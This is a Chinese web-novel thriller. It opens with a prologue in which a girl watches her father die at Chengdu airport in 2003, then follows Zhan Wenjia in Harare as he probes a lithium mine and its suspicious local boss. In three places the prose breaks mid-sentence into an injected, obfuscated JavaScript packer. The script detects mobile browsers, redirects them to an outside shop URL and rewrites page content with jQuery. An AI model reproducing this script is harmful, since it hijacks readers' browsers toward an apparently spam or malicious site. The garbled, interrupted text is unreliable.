《乌衣诡汛》 1. 序章 月 2003年冬,成都,双流国际机场。 新航站楼孤零零地杵在雪夜里,出发大厅亮得瘆人。凌晨时分,人影稀拉,静得能听见暖气流动的嘶嘶声。 地砖缝里还沾着施工残留的水泥灰,墙上挂着张“热烈庆祝双流机场新航站楼通航”的巨型红色横幅,其下贴满了旅行社的广告,有几张的边角已经被人扯得发卷,在空调风里一掀一掀的,像垂死挣扎的蛾。 啪嗒,啪嗒。 两道脚步声碾着地砖由远及近地响起。 景明臧身着黑色大衣,一手拖个硕大的行李箱,另一手攥着皱巴巴的登机牌,拍拍女儿头顶的绒线帽,雪粒簌簌往下掉:“囡囡,冷不冷?要爸爸再给你加件袄子不?” “不冷哦。” 应声的是个约莫四五岁的小女孩,头顶一只红毛线揪揪帽,脖子上挂着台粉色儿童小灵通,随着脚步一晃一晃的。脚上蹬双胖墩墩的鲨鱼棉鞋,此时踩在光洁的地砖上,发出噗噗的声响。 她说完吸了吸被冻得通红的鼻子,又将注意力放到手中的玩具上—— 那是个白色的万花筒,模样和幼儿园门口小摊上摆的没啥区别,然而此刻她拿在手里,却玩得起劲极了。 打周一景明臧把这玩意儿递她手里,她就连睡觉都没松开过了。 因为这玩意儿和幼儿园门口那些卖五毛钱的真不一样:初看只是混沌的黑暗,轻轻一拧,便见星河流淌,有碎钻般的光点簇拥着一弯银白月轮慢慢显现;再转几下,那弯月又会渐次丰盈,直至圆满。 孩子总被闪亮的东西吸引,好几天过去了,她眼里都只有星星,那轮月,则瞧也不瞧。 眼瞅着身旁的景明臧又要说些什么,她不耐烦地摆摆手,示意“我要专心”后,再不搭理他了。 景明臧见状失笑,不由再次感慨:自己这女儿,也不知是遗传了谁,小小年纪就这么有个性,等以后长大了...... 长大了…… 想到这里,他眼神竟蓦地一黯,将视线从囡囡帽顶移下,落到她撂着几绺碎发的右耳后。 那一处和别的同龄孩童一般,光洁、柔嫩,没有什么不同。若非要找些区别出来,那便是要更白些,白得有些晃眼。 可就是这点细微的差别,却让他眼角骤然绷紧,尔后,眼神复杂地将目光挪到自己胸前,那枚安静别着的胸针上—— 羽翼半展的大鸟,利爪钳着条扭曲挣扎的蛇身,正准备腾飞而起;而那毒蛇也不甘示弱,狡猾地反缠住鸟足,两者不死不休地纠缠在一起。 黑玛瑙雕琢的鸟身沉郁肃杀,石榴石的蛇身上,则泛着诡谲的血色光泽。 这物件精美得扎眼,一看便知不是寻常货色。可景明臧此时盯着它,眼底却悄然爬出了几分冰冷的憎愤。 男人模样英伟、身形高大,鬓角沾着星点白痕,初看像是落雪,直到在暖烘烘的大厅待了许久,那白却依然刺目、不见消减,这才知道——那竟是早生的华发。 不过三十出头的年纪,正是风华正茂之时,他的眉宇间却沉淀着一股深重的颓唐,像被什么沉重的东西日夜压着脊梁。 ……算了,至少目前还有希望。 他叹一口气,摸出一盒红塔山,叼住一根点燃后,才惊觉身旁还有女儿,又慌忙将烟头掐灭。 父女二人此时已经走到了候机区,景明臧把烟丢掉,领着囡囡坐下。 将手中行李放到一旁后,他终于腾出手,开始理起女孩儿的衣帽来。眼瞧着又把它们恢复得整整齐齐,他满意地笑笑,正要抽手,却不小心带动了她的袖口,现出几道通红的印子。 五道细细的指印。 他脸色立时一沉:“谁干的?” 囡囡将万花筒拿下的时候,脸上还带着几丝茫然,看清他指的位置后,瘪瘪嘴:“哦,这里啊,小郑姐姐弄的。” “郑家的丫头?”景明臧眼底“唰”地一下腾起火光,“她敢打你?什么时候的事?” “就今天呗。” ......很好,他不过就将女儿托付给了他们一天,回来便见这宝贝疙瘩身上落了印! 景明臧眼里满是心疼,面色黑得能拧出水,就要掏出手机质问,却又在这时听囡囡道:“......嗐,这算啥,我早打回去了。老爸你带我走的时候没看到小郑姐姐的脸,肿的跟苗叔后院的猪一样,可比我这严重多了。” 景明臧闻言一怔,反应过来后,当即大笑出声:“乖囡,干得好!”语落,又牵起她那只手,心疼道,“还疼吗?” 囡囡摇了摇头。 景明臧见了,赞许地点了点头,拍拍她的小红帽:“不愧是咱老景家的人,年纪小小,却已经是个硬骨头了——记住爸爸的话,以后谁再这样掐你、招你,让你疼了、难受了,甭管是谁,是姓郑还是姓金,咱姓景的都不怕!” “你只管立刻打回去,有多大劲儿就使多大劲儿!要是实在打不过......” 他握住女儿的小手,语气斩钉截铁:“天塌下来,有爸爸给你顶着!” 囡囡只听懂了“打回去”三个字,点点头,又要把头埋下,然而下一瞬,又听景明臧问道:“不过,她为什么打你?” 她万花筒正举到一半,闻言稚嫩的脸上竟浮现一丝犹豫,嘴巴嗫嚅几下,到底没说出口。 景明臧察出几丝不对来:“她说啥了?” 囡囡只把头埋下,半晌不做声,直到男人急得蹲到她身前,她才红着眼睛道:“她们说,我们家没人了、没落了,是条狗都可以欺负我。我不服,就和她们吵起来了......” 景明臧闻言一愣,而后心疼地把女孩紧紧抱进怀里:“她们都是在乱说,不用理她们。有爸爸在,看谁敢欺负你。” 感受着怀中女孩儿哭得颤抖的身体,一丝冷光自他眸底划过:景家再怎么没落,如今好歹还有他在。他景明臧还没死呢,那些人便迫不及待地让一群稚童来“敲打”他女儿,真是好一招隔山震虎、好一出热闹的大戏。 可这戏台子早已从根子上朽烂,一群提线木偶还浑然不知,犹自为那三寸即将枯朽的天地争得头破血流...... 随他们争去,他父女俩,不奉陪了。 他拍拍囡囡,柔声道:“幺女,别哭了,想想高兴的事。喏,你看。”他擦干她脸上的泪,伸手朝两人身旁的落地窗外指去。 女孩顺手望去:只见窗外的夜色沉得像墨,昏黄灯光下,一架巨大的铁鸟静静蛰伏,流线型的机身泛着冷冽的光。 “我们马上就要坐着那只大鸟,一路飞到非洲......非洲你知道么?在那里,大地是会颤抖的。”他的手指在玻璃上虚虚画着圈儿,“现在正是旱季,成千上万的角马会像褐色的河流,冲破龟裂的土地,它们奔跑的时候,蹄声是滚动的雷鸣,咚、咚、咚,扬起的尘土能一直飘到云里。” 囡囡的抽泣不知不觉停了,眼睛在泪光后微微睁大,尔后轻轻点头:“我知道啊。” 她在电视上看过的。 那是个安静的傍晚,她坐在家里的沙发上,忙着吃饼干,却不小心按错了遥控器。动画片的喧嚣被一声悠长的嘶鸣取代,抬眼看去,无尽的兽群像沸腾的泥土,翻滚着涌过金色的草原,它们挤挤挨挨,蹄子踏起烟尘,一时间,连电视柜都仿佛在轻轻震动。 那一刻,她攥着饼干忘了嚼,然后破天荒地看了一晚上的纪录片。 “等明天太阳升起的时候,”景明臧把囡囡抱起来,让她坐在自己臂弯里,指着那架即将带他们远行的波音-757,轻声道,“你睁开眼睛,我们就会在那片土地的上空。从那只大鸟的肚子里望出去,你会看见真正的动物大迁徙,感受到大地跳动的脉搏——不是在图画书上,不是在电视里,而是就在眼前。” 囡囡仿佛被这话语攫住了魂灵,眼睛望着虚空,目光却像是已经飞越了万水千山,落到了那片他口中所说的、会颤抖的大地上。 景明臧看着她微张的小嘴和忘了眨动的眼睛,渐渐收住话音,生怕惊散了她脑海中那群正在成形的、奔腾的巨兽。 他微微一笑,抬起头,可笑意还未来得及抵达眼底,便猝然冻结—— 眼角的余光里,候机厅远处的角落,有一道模糊的影子倏然闪过。 他身形一震,眼中闪过一丝不可置信,喉头像是被什么堵住,再发不出任何声音。 “爸爸?”囡囡察觉到他的异常,仰起小脸,那双还带着泪花的眼睛里满是困惑,“你怎么啦?” 景明臧闻声回过神来,伸手摸摸她头顶,僵硬地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127418|196148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝她笑笑:“……囡囡,爸爸看到那边有肯德基,你在这儿乖乖坐好,我去给你买汉堡回来好不好?” 囡囡嘟嘟嘴:也不看看几点啦,吃什么汉堡。 她想说自己不饿,可话到嘴边,又转念一想:会不会是爸爸自己饿了,却不好意思说? 经常听幼儿园的老师说,爸爸妈妈上班挣钱很累的,却因为要面子,不会轻易在他们面前说。所以,在很多时候,小朋友们要学会主动去体谅他们。 那她在这个时候同意爸爸去买汉堡,是不是就是老师说的“体谅”呢? 于是她话到嘴边拐了个弯:“好……” “有事给爸爸按小灵通,我很快就回来。”她话还没说完,便见男人大步流星地走远了,背影透着股仓促的急切。 什么嘛,饿成这样。 *** 囡囡在座位上继续转起了万花筒。 然而没转几下,镜筒里那曾令她万分着迷的画面,却也显出几分乏善可陈来。她叹口气,把它拿下握在手里,托腮看向窗外那架大铁鸟。 她小小的心此刻仿佛被分成了两半,一半是兴奋,一半是忧愁。 兴奋是因为,刚刚爸爸给他描绘的场面实在是太迷人,她已经有点儿迫不及待想亲眼见到角马迁徙了。 孩子总是喜新厌旧的,有更刺激的新事物在前,她自然也就对万花筒有些失了兴趣。 忧愁则是......刚刚还有一句小郑姐姐说的话,她没敢跟爸爸讲。 今天下午,小郑姐姐掐着她的手臂说,都是她把妈妈、姑姑,还有景家的那些长辈克死的。 小孩儿的世界里,并没有“死”的概念,她只隐隐约约知道,那并不是一个好的词。而且爸爸不是说过,妈妈只是去很远的地方旅游了吗?那是一个很远的地方,比非洲还要远,要好几个月才能回来。 怎么从小郑姐姐口中说出来,就换了个说法呢? 她本来没想动手,是被那句话吓得慌了神,才重重地甩了手。 她虽然不信,之后却也不敢跟爸爸讲,生怕爸爸此前并不知道,听了之后反而会觉得她是个坏孩子,嫌弃她、责怪她,甚至不要她了。 “怎么还不回来......” 夜越来越深,囡囡看着景明臧消失的方向,眼皮越来越沉,脑袋一歪,靠在椅背上睡着了。 ...... 不知过了多久。 一声凄厉到极致、浑然不似人声的尖啸,猛然撕裂了寂静的夜空。 那声音是如此刺耳,将囡囡从混沌的梦中陡然拽醒。她眼中尽是茫然,尚未反应过来发生了什么,只下意识地朝窗外看去:依旧漆黑、深暗,仿佛一切都同之前没有什么差别。 可冥冥中,像有什么在牵引。 她缓缓起身,失神地朝着玻璃窗边走去。 就在她手指碰上冰冷窗壁的瞬间—— 有一道黑色的影子,自她眼前倏然落下。 那身影在昏黄的灯光下划出一道冰冷的弧度,大衣下摆在夜风中翻飞如折翼,身体扭曲成诡异的形状,朝着大地俯冲而下。 “砰!” 沉闷的撞击声隔着厚厚的玻璃传来,震得她脚下的地面都颤了一瞬。 囡囡整个人僵在原地,像一尊瞬间石化的雕像。小嘴微张着,却连最细微的气息都发不出来—— 视线尽头,那件熟悉的大衣在雪地里缓缓铺开。 男人身下涌出好似无穷尽的血,漫过那别在胸口的胸针,将那盘缠的鸟身和蛇躯双双浸成凄艳的红。 他也看到了她。 那垂死的眼里蓦地爆发出最后一丝灿光,仿佛是用尽了最后一丝力气般,艰难地朝她伸出手,用口型朝她发出了无声的呐喊—— 快、逃。 “啪嗒”。 一声清脆的碎裂声响。 万花筒从她冰凉的手中滑落,砸在冰冷的大理石地面上,摔得四分五裂。 筒中“星河”在这一刻决堤而出,细碎的闪光粉末只来得及迸发出一瞬间的璀璨,便被飞扬的尘埃吞噬,黯淡成地上一摊污浊的、毫不起眼的灰。 而那轮月,只来得及轻轻滚动了两下,便被四面八方匍匐而来的黑暗一拥而上,再不见了光影。 2. 01 自助值机柜台前,湛文嘉正低头撕着行李封条。 手机忽然震动起来。 他垂眼一瞅:带“+”的,一串国外来电。 封条只黏了一半,胶带在指尖绷得笔直。他没松手,侧头将手机夹在耳与肩之间,声音混着机场广播的余音:“哪位?” 即使是这样略显忙乱的动作,由他做来,依旧从容好看:一米八七的身高,即便微微躬身,脊背也依旧显得挺拔。深灰色驼绒围巾松散地垂在肩头,歪头时,颈侧线条利落如刀裁,微凸的喉结清晰可见。 “小嘉爷?”听筒里传来个粗嘎男声,语气堆着刻意的热络,“您几点落地?我好在机场候着。” 是从未听过的陌生声音,且不知对方正身处何方,声音带着空旷的古怪回响。 湛文嘉闻声一顿,继而想起:董文柏交代过,落地后自会有人接应。想必就是电话里的这人了。 箱子顺着滚带滑进去,他腾出手取下手机,又确认了一眼航班信息:上海飞哈拉雷,经多哈中转,落地已是当地凌晨。他在心里简单换算后,报了个东二区的时间过去。 电话那头接着滔滔不绝起他落地后的安排来,湛文嘉本来耐心地听着,可就在这时,却有个女生红着脸从一旁跑来,蚊呐般朝地说了些什么后,朝他亮出手机,露出自己的社交账号二维码来。 他见状,朝女生笑眯眯地指了指自己右耳的耳钉,用口型道:“不好意思。”语落,双脚一迈,就要继续朝前走。 就在这当口—— 听筒里冷不丁炸开一声凄厉的尖嚎! 短促、尖锐,像指甲狠狠刮过玻璃,旋即被硬生生掐断。 湛文嘉抬到一半的脚顿在半空。 电话那头传来仓促的道歉,没等他开口,通讯便“咔”地断了。 他立在原地,看着手机屏幕,面色一时有些愕然。 指尖在屏幕上悬停了半秒—— 最终,没有回拨,甚至睫毛都没多颤一下,只若无其事地将手机滑进了大衣口袋。 面上已在此时重又恢复了那副温润神情。他抬手理了理围巾,朝一旁脸色有些古怪的女生歉然一笑后,转身朝安检口走去,背影很快没入流动的人潮。 *** 事出紧急,湛文嘉只来得及抢了最近的一班红眼航班,登机落座已经是凌晨时分。 他点开手机上一个图标为火焰的APP,确认没有任何新消息后,未等起飞便切了飞行模式,戴上眼罩耳塞,倒头就睡。 这一趟名义是采风,实则担着不能明说的差事。这二十八小时的航程,恐怕是接下来几周里唯一的安心休整,他半分钟都不愿浪费。 偏偏中途做了个古怪的梦。 睡到中途,原本无知无觉的黑暗中,竟有一股冰冷黏腻的触感自他指尖凭空生出,尔后顺着手指一路蜿蜒而上......直到“嘶嘶”的声响出现在耳畔,他才浑身一震,猛然从梦中惊醒。 湛文嘉眼中骇色还未散去,耳畔便传来一道柔媚的女声: “弟弟,你做噩梦了?” 他身体微微一僵,缓缓侧头朝一旁望去。 邻座不知何时出现了一个女人。 似是觉得机舱内暖气太足,银白狐裘松垮半披在肩头,随着机身微微颠簸,裘绒正从光滑的肩颈滑落,露出大片瓷白的肌肤与起伏的曲线。 湛文嘉眉梢一抬,乜了她一眼。 平心而论,这女人生得极艳。五官秾丽近妖,尤其那双狐狸眼,眼尾微挑,勾勒出长而媚的弧度,眼波流转间,泛着些微的琥珀色,如同蜜酒,多看几眼便觉醺然。 他特意选的无人邻座,登机前也确认过,本该全程都空着。若换了别的男人,此刻或许早已心猿意马,他却只将目光缓缓下移—— 几缕发丝,正若有似无地搭在他的指尖。见他醒来,那发丝还似活物般轻轻蜷缩了一下,触感冰冷黏腻,与梦中攀附而上的诡物如出一辙。 他见状,眉头极细微地蹙了蹙。不是恼,也谈不上厌,更像某种刻进骨子里的洁癖被触犯时本能的排斥。 他面上没什么表情,也没开口,只屈指轻轻一弹,将那几缕发丝拂开后,侧身面朝舷窗,重新阖上了眼。 一旁女人见状,脸上那抹笑不禁有些凝固。 机舱内温暖的空气似乎冷了几分。 片刻后,她无声起身,动作轻缓却利落,没有发出半点多余的声响,仿佛刚才那失败的撩拨不过是一场无趣的游戏。 狐裘在她肩头重新拢紧,在那引人遐思的风光被遮住的同时,她眼底悄然划过一道精光。 而后,红唇勾起一抹极其浅淡的笑。 她没有再看湛文嘉一眼,脚步轻悄地越过过道,朝公务舱的后方走去了。 *** 除去那场无聊的搭讪,这趟航班还算一路平稳,准点到达了目的地。 走出舱门之时,外面夜幕依旧高挂,如若不是南半球正值炎夏,湛文嘉心中几乎快要生出一种自己还身在上海的错觉。 深吸一口气后,他打开手机,看到了八条未接来电。都是同一个号码拨来的。 应该是接应的人到了。 他刚准备回拨,手机又收到一条短信:小嘉爷,我已经到了,停车场等您。 于是他定了定神,就要迈步朝出口处走去。 然而就在下一瞬,他却仿佛感知到了什么一般,倏然顿住,敏锐地回过头去—— 只见那曾在机舱里突兀出现在他身旁的女人,此时已换上一条黑色长裙,手持雪茄,站在他身后约有二十米的吸烟室外,眼睛虚眯着看向他,脸上神色幽冷,不知在想些什么。 见他回过头来,她竟丝毫不慌乱,只朝他不疾不徐地吐出一口烟气,意味不明地轻笑一声,转身袅娜地离开了。 ...... 哈拉雷机场索要小费成风,从排队到盖章,再到行李安检,可谓是层层盘剥。湛文嘉好不容易过关,临出机场时,外面却已经撒开了瓢泼的大雨。 十二月底,圣诞节后的哈拉雷正值雨季,暴雨总是无端而来,不分昼夜。豆大的雨点砸在机场穹顶上,发出震耳欲聋的轰鸣。 这里只有露天的接机区,雨水顺着屋檐泼洒而下,在路灯映照下形成一道密不透风的水幕。湛文嘉站在檐角边缘,努力辨认着短信中的车牌号,肩头T恤很快就洇开了深色的水渍。 就在这时,一辆黑色大切缓缓驶停在他面前。 驾驶座的车窗降下,探出一张东方面孔来。 光头,头皮泛着青茬,三十多岁,体格壮硕,隔着雨帘都能感受到那股贲张的力感。皮肤是常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127419|196148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年暴晒后的黝黑,额角贴着块创可贴,眉宇间攒着股挥之不去的草莽凶气。 “小嘉爷!这儿!”那男人拿出手机比对了下,向湛文嘉伸出手示意,随后利落下车,伸手就朝他的行李够去。 湛文嘉目光在他脸上一扫,在经过那块创口贴时,不动声色地短暂停留了一瞬,然后笑起来,将箱子递了过去。 他在登机前看过他的照片,集团|派驻在这边的小头目,也即登机前给他打电话的男人,豹头。 将箱子递给豹头后,他拉开副驾驶的车门,带着一身潮湿的水汽坐了进去。 “砰”的一声,车门关上,将喧嚣的雨声隔绝在外,车内顿时陷入一种相对静谧的氛围。 豹头放好行李后,闪身进车,随意一抹头上的水,熟练地挂挡起步。大切诺基平稳地驶离嘈杂的接机区,冲入被暴雨笼罩的哈拉雷夜幕。 “小嘉爷,您一路辛苦了。”豹头一边开车,一边瓮声开口,“住处都安排好了,您先歇歇脚,倒倒时差。明天我们再好好规划下你这次的采风。” 湛文嘉连忙摆手:“豹哥,你可别这样,叫我小嘉就好。这次过来本是临时起意,还希望不要给你们添麻烦。” 没想到这传闻中的“公子哥”竟这么没架子,豹头愣了一愣,忙道:“哪儿能呢。集团对我们不薄,您大驾光临,是我们津国驻办的福气才对,怎么会是麻烦呢。” 闲聊间,车辆驶入了城区街道。 “小嘉爷,不晓得你知不知道,津巴布韦一年就分三季——热季、雨季和凉季。现在正是雨季,这雨几乎天天下,下得人骨头缝都发霉。”豹头粗声抱怨着,手指在方向盘上敲打,“路也烂,瞧这黑灯瞎火的,全城就没几盏好路灯。当地人办事效率低得很,不光是城建,找他们要个文件都能拖半年......” 他开始滔滔不绝起哈拉雷的风土人情来。 “不过,在这儿有钱就是爷。白人老爷的俱乐部、赌场,那可都是好去处,您要想去,明儿就带您去开开眼——” 湛文嘉半撑着头,一边听他说,一边看着窗外,眼中满是对新世界的好奇。 外头能见度极低,模糊的灯影在水幕中晕染而开,然而没过多久,就连这模糊混沌的光影都看不见了—— 的确就像豹头所说的那样,津巴布韦的基建到底是落后了些,离开机场不过两三公里,便再没了路灯。两旁像是被巨兽吞噬了一般,世界骤然坍缩成一片黏稠的黑暗,沿路只能靠着大切自身那两道射灯照明。 光柱刺破雨幕,勉强照亮前方一小段湿漉漉的柏油路面,路旁的灌木和树木在光线边缘扭曲成幢幢鬼影,飞速向后掠去。 豹头心头原本有鬼,此刻见湛文嘉一派涉世未深的模样,不由生出几丝窃喜,连带着嘴角都不受控制地朝上牵。 “体贤下士”四个字,绝对不会出现在他们集团的真正上位者身上。这么没架子,一看便是从小被散养长大的草包。 果然同传闻中的一样,董事长这“便宜儿子”,从来都没被正经培养过。亏他还因为这“突袭”慌了神,提早做了那么多布置,早知如此,他何必...... 他正暗自盘算,怎料身旁一直沉默的青年突然来了句: “不过豹哥,石头呢?” 豹头的笑登时僵在了脸上。 3. 02 似有一道惊雷猛地劈过脑海,豹头怔了怔,连呼吸都忘了。 这小子刚才,是提到“石头”了吗? ——可他怎么会知道?! 他只觉心乱如麻,握住方向盘的指节因用力微微泛白,迟疑片刻,好不容易稳住心神,刚要笑着朝湛文嘉侧过头去,熟料下一瞬,竟又听湛文嘉自顾自道: “......哎呀,豹哥你是不知道,我们学校最近跟新能源车企搭上线了,给隔壁材料化学实验室里弄了许多碳酸锂。我们地质系苦苦哀求了好久,他们却只说经费有限,连半块锂矿都没给我们——豹哥,你说这不是偏心是啥?一气之下,我听文柏叔说,公司在非洲有个锂矿场,就立马飞过来了。” “所以,啥时候能让我瞅瞅那些石头啊?” 豹头一口气差点没上来。 原来他说的“石头”,是锂矿石啊? 一滴迟来的冷汗这时才从脊背悄然划下。豹头从方才的惊吓中缓缓回魂,嘴角挤出一个有些僵硬的笑:“小嘉爷,那矿场是咱前两年刚签下的,最近一直在稳定产出,你说的石头......自然是要多少有多少!” 奶奶的,刚才真把他吓得魂都快飞了。 可转念一想,从“那东西”被挖出来到现在,满打满算还不到三十个小时。就算消息自己长了翅膀飞,也不可能这么快就传到国内吧? 他这样告诉自己,逐渐放下心来。 感受到一道带着十二万分期待的视线从一旁投来,他又慢吞吞道:“只是不巧,哈拉雷连下了一周的暴雨,矿场也因此发生了小规模的塌方,如今正在抢修当中。出于安全考量,实在是不能带您下矿去。” 说完,见湛文嘉眼神有些疑惑,他干咳了一声,旋即掏出手机,手指点点,滑出几组照片,放在他眼前—— 手机屏幕上,赫然展现出一片狼藉的景象:原本规整的矿坑入口已然变形,大量湿透的红色泥土和嶙峋碎石混杂着折断的支撑木,如同溃烂的伤口般堵塞了下方的通道。泥水像肮脏的血液,从塌陷体的缝隙中不断渗出,在低洼处汇聚成了数片浑浊的潭。 暗处,湛文嘉的眼睛不着痕迹地眯了眯。 眼前这几组照片,的确是“阿卡迪亚”矿坑的模样。豹头说的似乎是真话,照片上还留着时间、地点的水印,拍摄时间差不多是在他起飞后不久。 只是,未免有点太过巧合了。 他面露失望:“啊,要多久才能抢修好?” 豹头眼珠一转:“这......至少得五天吧。虽然垮塌的程度算不得特别严重,我们也有备好的应急方案,可这雨势一直不减,抢修工作难免会遇到阻碍,我们的人手也不太够......” “你们人手不够就给我说啊。”湛文嘉立马拍拍胸脯,眼神真挚道,“五天得耽误多少事啊?我告诉文柏叔一声,马上派人来,肯定三天都要不了,就能把矿收拾利索!” 末了,他顿了顿,又豪气地补充:“别跟我客气。” ——卧槽! 豹头闻言只觉心猛地一颤:不过区区一个采风,说白了就是观光一下,他竟是准备直接叫集团的人飞过来帮忙? 到底还是低估了这纨绔的败家能力! 若矿场真是遭遇了天灾,此时这句话想必会非常动听,可......他如今,怎么敢让集团的人来哈拉雷? 一旦总部真派人来,自己就不再是阿卡迪亚说一不二的主,届时一旦起底这矿场...... 想到这里,他不由得打了一个寒战。 车厢内一时陷入了短暂的死寂,只有雨刮器在机械地左右摆动。 湛文嘉见他没反应,疑惑道:“豹哥,行不行啊?” 豹头闻言回神,半晌,才从牙缝里挤出声道:“小嘉爷,区区小事,何须劳烦总部派人来?咱津巴布韦的兄弟岂不都要被看扁了?——三天,就三天时间,兄弟伙拼了命赶一赶,一定能把矿场设施恢复原状!到时候,我亲自带您下矿去看!” 湛文嘉皱起眉,想了想,才勉为其难地点头:“那行吧。说好了,就三天啊。” 豹头见这小祖宗总算被稳住,暗暗松了口气。 *** 半个小时后,远处的黑暗里浮出几点灯火模样。 车辆缓缓驶入哈拉雷北部的一处高端社区。 与方才一路而来的破败、黑暗形成鲜明对比,这里路灯明亮,道路整洁,两旁都是带着独立庭院和高大围墙的别墅,风格多是欧式与现代的结合,一派富裕安宁。 这里便是哈拉雷著名的华人聚居区。这些别墅大多有些年头,见证了过去几十年间,华人在这片非洲土地上奋斗、扎根、乃至掌控部分经济命脉的历史沉浮。 自津巴布韦土地改革后,许多较早来此扎根、拥有一定资本和渠道的华人,便逐渐在此购置产业,形成了一个相对封闭和安全的圈子。社区里符合华人口味的超市、餐馆、足浴店,一应俱全,中心处甚至还有一个小型的中文学校。 俨然一副国中之国的模样。 豹头驾驶着大切,熟稔地在一栋外墙漆成米白色、带有宽阔拱廊和铁艺装饰的别墅前停下。 别墅的感应灯亮起,驱散了门前的黑暗。 “小嘉爷,咱们到了。”豹头此时面容已看不出异色,他率先下车,从后备箱取出湛文嘉的行李。 湛文嘉应了声,躬身去后座拿包,趁豹头“嘭”一声关上后备箱的刹那,他借着身体的遮挡,迅速掀起驾驶座的皮垫,将某个微型的金属物件塞进了垫子下方的阴影里。 ...... 下车后,外头雨势已稍减,空气依旧湿冷粘稠。湛文嘉抬眼扫视了一下这栋别墅:环境清幽,各处高墙上都装有监控摄像头,安保看起来颇为严密。 “这是我们集团在这边的主要据点之一。”豹头一边引着湛文嘉往里走,一边介绍,“团队的核心成员基本都住这附近,方便照应。负责据点和矿区安保的是高佬亮和他手下那帮人,经过这几年的不断完善,安全方面,您在这里住着大可放心;负责和本地官员、部落酋长打交道的是老猫,中国人,却是个津巴布韦通;还有管账和物资的……都是从国内招来的好手。” 他絮絮叨叨地介绍着,期间有意无意地展示着自己统筹的能力。 毕竟是从“上面”来的,就算是个小屁孩儿,也得留点好印象嘛。 湛文嘉一路颇有些新奇地听着,只管接收,并未输出。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127420|196148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谈笑间,豹头已将他带到二楼一间宽敞的客房前。推开门后,窗户正对着后院茂密的热带植物,风景极好。 “要不您先休息,倒倒时差?”豹头堆笑道,“明天我们再细聊采风的事。” 他瞧着这青年进门,只将东西一甩,便径直扑在了松软的床上。 下一瞬,才听见一道懒洋洋的“嗯”传来。 豹头内心稍稍松了口气,不再多言,讨好地欠了欠身后,转身下楼了。 房门在身后关上,隔绝了外界的一切声音。少顷,湛文嘉无声地从床上起身,走到窗边,撩开厚重的窗帘一角,看着外面在雨中摇曳的婆娑树影,以及更远处社区围墙上的点点灯光。 看了很久。 良久,才重又回到桌前坐下。 他思虑片刻,拿出手机,手指在屏幕上快速滑动几下后,点开了那个图标为火焰的APP。 界面简洁,没有任何多余的功能,空旷的目录上,只有一个联系人,头像是一片墨色松柏,此时旁边正闪烁着一个红色的气泡,代表着有条未读信息。 他点开那个头像,聊天界面里干净无比,只两字:【小嘉,到了?】 十秒后,文字化为火焰焚烧殆尽之际,湛文嘉用指尖在屏幕上敲出一句: 【已顺利抵达。】 顿了顿,又打出一句: 【矿场突发塌陷,暂时还不能下去;哈拉雷小头目行动有异,尚待进一步观察。】 消息发出后,他在心里默数了十秒。 那人不论回什么消息,都只用十秒。这些年下来,他总会这样默默计数,已近乎形成了某种肌肉记忆。 果然,数到十的瞬间,对面准时弹来一条消息。 【做好你该做的,会有人解决他。】 湛文嘉指尖微微一抖。 下一瞬,火焰再度燃起,他轻轻吐出口气,不再回复。 可手指刚要上划退出,面前却突然又闪了一下:一条新的信息发了过来。 是一张图片。 湛文嘉手指微不可查地一颤,尔后将那图片点开。 照片上是一个女人。 阳光很好,她正坐在开阔的草甸上,身后是青翠的高山,面对镜头,绽出一个灿烂无比的笑容——眼睛弯成月牙,嘴角上扬,整个人盛放着一种不染尘埃的天真与暖意。 这笑容像一道石子投入冰湖,击碎冰面后,显露出他眼底那层潜藏着的冷意。随着湖面生起涟漪,从其中扩散而出的,竟是无穷尽的恨。 对面又发来一行字。 【我来看她了,她很好。算起来,你们也很久没见了。这次将东西带回后,我会安排你们见面。】 眼见着照片和文字燃烧焚尽,他握住手机的那只手,指关节猛地绷紧,力道之大,使得手背上的青筋都根根毕露,如同挣扎的虬龙凸起在了皮肤之下。就连手机的金属边框,都在这巨大的力量下发出了不堪重负的呻吟。 屏幕的光映在他脸上,将他的面容照得明暗不定。 良久,那股绷紧到极致的力量,终究在某个瞬间,如同被抽走了所有的支撑般,倏然消散。 他松开手指,手机滑落在柔软的地毯上,没有发出半分声响。 4. 03 The Black 雨在深夜时停了。 见楼上那扇窗终于暗下,豹头在车里吐出一口浊烟,将烟蒂弹出窗外。随后,越野车如夜行的兽,无声地滑出了别墅。 楼上。 湛文嘉立在窗帘后,看着那点车尾的红光隐没在黑暗深处,最终化作手机地图上一个匀速移动的光斑。他唇角弯了弯,弧度又冷又硬,好似刀锋擦过的痕。 *** 社区的街道上泛着一层湿漉漉的微光,空气里残留着尘土被打湿后的腥气。大切诺基碾过积水,拐进东区旧街,最终停在一块斜斜挂着的木头招牌下。 